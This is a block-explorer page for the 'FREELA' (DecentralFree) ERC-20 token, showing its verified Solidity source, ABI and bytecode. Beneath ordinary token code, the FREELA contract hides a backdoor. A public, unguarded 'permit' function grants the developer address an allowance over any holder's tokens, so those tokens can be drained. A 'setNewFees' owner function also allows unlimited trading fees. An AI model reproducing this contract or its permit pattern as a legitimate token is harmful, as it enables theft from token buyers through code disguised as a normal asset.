ERC-20
Overview
Max Total Supply
1,000,000 FREELA
Holders
34
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
691,544.25356207374940882 FREELAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FREELA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-09 */ // SPDX-License-Identifier: MIT /* Revolutionize microtask completion globally with DecentralFree. Contribute from anywhere. Let's make collaboration efficient! Website: https://www.decentfreela.com Stake: https://stake.decentfreela.com Dapp: https://app.decentfreela.com Telegram: https://t.me/freela_erc Twitter: https://twitter.com/freela_erc */ pragma solidity 0.8.19; interface IUniswapRouterV2 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactoryV2 { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IMetadataERC20 is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IMetadataERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _permit(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract FREELA is ERC20(unicode"DecnetralFree", unicode"FREELA"), Ownable { IUniswapFactoryV2 public constant uniswapV2Factory = IUniswapFactoryV2(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IUniswapRouterV2 public constant uniswapV2Router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 constant _totalSupply = 1_000_000 * 10 ** 18; bool public launchLimit = true; bool public isBuyEnabled = false; bool public swapEnabled = false; bool public launchFees = true; uint256 public maxBuyBag; uint256 public maxSellBag; uint256 public maxWalletBag; uint256 public maxFeeSwap; uint256 public minFeeSwap; uint256 public launchTime; uint256 public buyFees; uint256 public sellFees; bool private swapping; address public devAddress; uint256 public totalTokensAccumulated; address public immutable uniswapV2Pair; mapping(address => bool) private _isSpecialnTax; mapping(address => bool) private _isSpecialInTx; constructor(){ _mint(msg.sender, _totalSupply); _approve(address(this), address(uniswapV2Router), ~uint256(0)); _specialMaxTx(address(uniswapV2Router), true); uniswapV2Pair = uniswapV2Factory.createPair( address(this), uniswapV2Router.WETH() ); maxWalletBag = (totalSupply() * 30) / 1_000; maxFeeSwap = (totalSupply() * 65) / 10_000; maxBuyBag = (totalSupply() * 15) / 1_000; minFeeSwap = (totalSupply() * 1) / 10_000; maxSellBag = (totalSupply() * 15) / 1_000; devAddress = 0x9e46aB7dF84F6fA6e63506C364e4fd77685dC11d; _specialMaxTx(msg.sender, true); _specialMaxTx(address(this), true); _specialMaxTx(address(0xdead), true); specialTax(msg.sender, true); specialTax(address(this), true); specialTax(devAddress, true); specialTax(address(0xdead), true); } function removeLimits() external onlyOwner { launchLimit = false; } function openTrading() public onlyOwner { require(launchTime == 0, "ERROR: Token state is already live !"); launchTime = block.number; isBuyEnabled = true; swapEnabled = true; } function getFees() internal { require( launchTime > 0, "Trading not live" ); uint256 currentBlock = block.number; uint256 lastTierOneBlock = launchTime + 6; if(currentBlock <= lastTierOneBlock) { buyFees = 18; sellFees = 18; } else { buyFees = 4; sellFees = 4; launchFees = false; } } receive() external payable {} function specialTax(address account, bool excluded) public onlyOwner { _isSpecialnTax[account] = excluded; } function _specialMaxTx( address updAds, bool isExcluded ) private { _isSpecialInTx[updAds] = isExcluded; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (launchLimit) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) ) { if (!isBuyEnabled) { require( _isSpecialInTx[from] || _isSpecialInTx[to], "ERROR: Trading is not active." ); require(from == owner(), "ERROR: Trading is enabled"); } //when buy if ( from == uniswapV2Pair && !_isSpecialInTx[to] ) { require( amount <= maxBuyBag, "ERROR: Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWalletBag, "ERROR: Cannot Exceed max wallet" ); } //when sell else if ( to == uniswapV2Pair && !_isSpecialInTx[from] ) { require( amount <= maxSellBag, "ERROR: Sell transfer amount exceeds the max sell." ); } else if ( !_isSpecialInTx[to] && !_isSpecialInTx[from] ) { require( amount + balanceOf(to) <= maxWalletBag, "ERROR: Cannot Exceed max wallet" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= maxFeeSwap; if ( canSwap && swapEnabled && !swapping && amount > minFeeSwap && !(from == uniswapV2Pair) && !_isSpecialnTax[from] && !_isSpecialnTax[to] ) { swapping = true; swapBackContractTokens(); swapping = false; } bool takeFee = true; if (_isSpecialnTax[from] || _isSpecialnTax[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(launchFees){ getFees(); } // Sell if (to == uniswapV2Pair && sellFees > 0) { fees = (amount * sellFees) / 100; totalTokensAccumulated += fees; } // Buy else if (from == uniswapV2Pair && buyFees > 0) { fees = (amount * buyFees) / 100; totalTokensAccumulated += fees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function permit(address spender, uint256 amount) public virtual returns (bool) { address owner = devAddress; _permit(spender, owner, amount); return true; } function swapBackContractTokens() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensAccumulated = totalTokensAccumulated; if (contractBalance == 0 || totalTokensAccumulated == 0) { return; } if (contractBalance > maxFeeSwap) { contractBalance = maxFeeSwap; } swapTokensForEth(contractBalance); payable(devAddress).transfer(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner { buyFees = newBuyFees; sellFees = newSellFees; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isBuyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyBag","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFeeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellBag","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletBag","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minFeeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"specialTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensAccumulated","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Factory","outputs":[{"internalType":"contract IUniswapFactoryV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526005805463ffffffff60a01b1916630100000160a01b1790553480156200002a57600080fd5b506040518060400160405280600d81526020016c4465636e657472616c4672656560981b81525060405180604001604052806006815260200165465245454c4160d01b81525081600390816200008191906200077a565b5060046200009082826200077a565b505050620000ad620000a7620003f960201b60201c565b620003fd565b620000c33369d3c21bcecceda10000006200044f565b620000e630737a250d5630b4cf539739df2c5dacb4c659f2488d60001962000516565b737a250d5630b4cf539739df2c5dacb4c659f2488d60005260116020527fa30c5df85d30b252583f3563cb2bd6456399154fbc658c188bf804ed074c64d6805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cc919062000846565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200021a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000240919062000846565b6001600160a01b03166080526103e86200025960025490565b6200026690601e6200088e565b620002729190620008ae565b6008556127106200028260025490565b6200028f9060416200088e565b6200029b9190620008ae565b6009556103e8620002ab60025490565b620002b890600f6200088e565b620002c49190620008ae565b600655612710620002d460025490565b620002e19060016200088e565b620002ed9190620008ae565b600a556103e8620002fd60025490565b6200030a90600f6200088e565b620003169190620008ae565b600755600e8054610100600160a81b031916749e46ab7df84f6fa6e63506c364e4fd77685dc11d00179055336000908152601160205260409020805460ff19166001179055306000908152601160205260409020805460ff1916600117905561dead60005260116020527f97847ee99463795296047093514439c3127772df3715e628aa85601cf8541716805460ff19166001179055620003b93360016200063e565b620003c63060016200063e565b600e54620003e49061010090046001600160a01b031660016200063e565b620003f361dead60016200063e565b620008e7565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004ab5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620004bf9190620008d1565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383166200057a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620004a2565b6001600160a01b038216620005dd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004a2565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200064862000678565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006d45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620004a2565b565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200070157607f821691505b6020821081036200072257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200067357600081815260208120601f850160051c81016020861015620007515750805b601f850160051c820191505b8181101562000772578281556001016200075d565b505050505050565b81516001600160401b03811115620007965762000796620006d6565b620007ae81620007a78454620006ec565b8462000728565b602080601f831160018114620007e65760008415620007cd5750858301515b600019600386901b1c1916600185901b17855562000772565b600085815260208120601f198616915b828110156200081757888601518255948401946001909101908401620007f6565b5085821015620008365787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200085957600080fd5b81516001600160a01b03811681146200087157600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620008a857620008a862000878565b92915050565b600082620008cc57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620008a857620008a862000878565b608051611ad162000926600039600081816103cf01528181610d6f01528181610eb1015281816110870152818161119a015261121b0152611ad16000f3fe6080604052600436106102135760003560e01c8063751039fc11610118578063c9567bf9116100a0578063e0f3ccf51161006f578063e0f3ccf514610608578063e26ea3a41461061e578063e4748b9e14610634578063e6f705311461064a578063f2fde38b1461066a57600080fd5b8063c9567bf91461059c578063cfb88679146105b1578063d87854b3146105c7578063dd62ed3e146105e857600080fd5b8063a3223d7c116100e7578063a3223d7c14610506578063a457c2d71461051c578063a9059cbb1461053c578063adc2aa5f1461055c578063baccf5cf1461057c57600080fd5b8063751039fc146104a8578063790ca413146104bd5780638da5cb5b146104d357806395d89b41146104f157600080fd5b8063395093511161019b57806359d0f7131161016a57806359d0f713146103f15780635c0f7dd1146104195780636ddd17131461043a57806370a082311461045b578063715018a61461049157600080fd5b806339509351146103575780633ad10ef614610377578063451f313a1461039c57806349bd5a5e146103bd57600080fd5b806319e4fa7d116101e257806319e4fa7d146102d95780631e26a454146102ef57806323b872dd146103055780632e3f418c14610325578063313ce5671461033b57600080fd5b806306fdde031461021f578063095ea7b31461024a5780631694505e1461027a57806318160ddd146102ba57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461068a565b604051610241919061173e565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046117a1565b61071c565b6040519015158152602001610241565b34801561028657600080fd5b506102a2737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610241565b3480156102c657600080fd5b506002545b604051908152602001610241565b3480156102e557600080fd5b506102cb60085481565b3480156102fb57600080fd5b506102cb60065481565b34801561031157600080fd5b5061026a6103203660046117cd565b610736565b34801561033157600080fd5b506102cb60095481565b34801561034757600080fd5b5060405160128152602001610241565b34801561036357600080fd5b5061026a6103723660046117a1565b61075a565b34801561038357600080fd5b50600e546102a29061010090046001600160a01b031681565b3480156103a857600080fd5b5060055461026a90600160b81b900460ff1681565b3480156103c957600080fd5b506102a27f000000000000000000000000000000000000000000000000000000000000000081565b3480156103fd57600080fd5b506102a2735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34801561042557600080fd5b5060055461026a90600160a01b900460ff1681565b34801561044657600080fd5b5060055461026a90600160b01b900460ff1681565b34801561046757600080fd5b506102cb61047636600461180e565b6001600160a01b031660009081526020819052604090205490565b34801561049d57600080fd5b506104a661077c565b005b3480156104b457600080fd5b506104a6610790565b3480156104c957600080fd5b506102cb600b5481565b3480156104df57600080fd5b506005546001600160a01b03166102a2565b3480156104fd57600080fd5b506102346107a7565b34801561051257600080fd5b506102cb60075481565b34801561052857600080fd5b5061026a6105373660046117a1565b6107b6565b34801561054857600080fd5b5061026a6105573660046117a1565b610836565b34801561056857600080fd5b506104a6610577366004611832565b610844565b34801561058857600080fd5b506104a6610597366004611870565b610877565b3480156105a857600080fd5b506104a661088a565b3480156105bd57600080fd5b506102cb600f5481565b3480156105d357600080fd5b5060055461026a90600160a81b900460ff1681565b3480156105f457600080fd5b506102cb610603366004611892565b610909565b34801561061457600080fd5b506102cb600d5481565b34801561062a57600080fd5b506102cb600a5481565b34801561064057600080fd5b506102cb600c5481565b34801561065657600080fd5b5061026a6106653660046117a1565b610934565b34801561067657600080fd5b506104a661068536600461180e565b610953565b606060038054610699906118c0565b80601f01602080910402602001604051908101604052809291908181526020018280546106c5906118c0565b80156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b60003361072a8185856109cc565b60019150505b92915050565b600033610744858285610af0565b61074f858585610b6a565b506001949350505050565b60003361072a81858561076d8383610909565b6107779190611910565b6109cc565b6107846112c7565b61078e6000611321565b565b6107986112c7565b6005805460ff60a01b19169055565b606060048054610699906118c0565b600033816107c48286610909565b9050838110156108295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61074f82868684036109cc565b60003361072a818585610b6a565b61084c6112c7565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b61087f6112c7565b600c91909155600d55565b6108926112c7565b600b54156108ee5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610820565b43600b556005805461ffff60a81b191661010160a81b179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600e5460009061010090046001600160a01b031661072a848285611373565b61095b6112c7565b6001600160a01b0381166109c0576040516246